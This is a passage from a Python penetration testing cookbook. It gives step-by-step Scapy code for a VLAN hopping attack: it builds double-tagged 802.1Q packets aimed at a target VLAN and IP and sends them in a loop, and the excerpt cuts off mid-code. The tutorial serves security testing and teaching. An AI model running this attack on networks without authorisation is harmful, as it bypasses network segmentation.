Python Penetration Testing Cookbook

How to do it...

Here are the steps to simulate a simple VLAN hopping attack:

1. Create a vlan-hopping.py file and open in your editor.
2. Import the modules and set the variables:

import time
from scapy.all import *
iface = "en0"
our_vlan = 1
target_vlan = 2
target_ip = '192.168.1.2'  

3. Craft the packet with two 802.1Q tags:

ether = Ether()
dot1q1 = Dot1Q(vlan=our_vlan)   # vlan tag 1 
dot1q2 = Dot1Q(vlan=target_vlan) # vlan tag 2
ip = IP(dst=target_ip)
icmp = ICMP()
packet = ether/dot1q1/dot1q2/ip/icmp  

The packet will be as follows:

4. Now, send these packets in an infinite loop:

try:
    while True:
        sendp(packet, iface=iface)
        time.sleep(10)
  except ...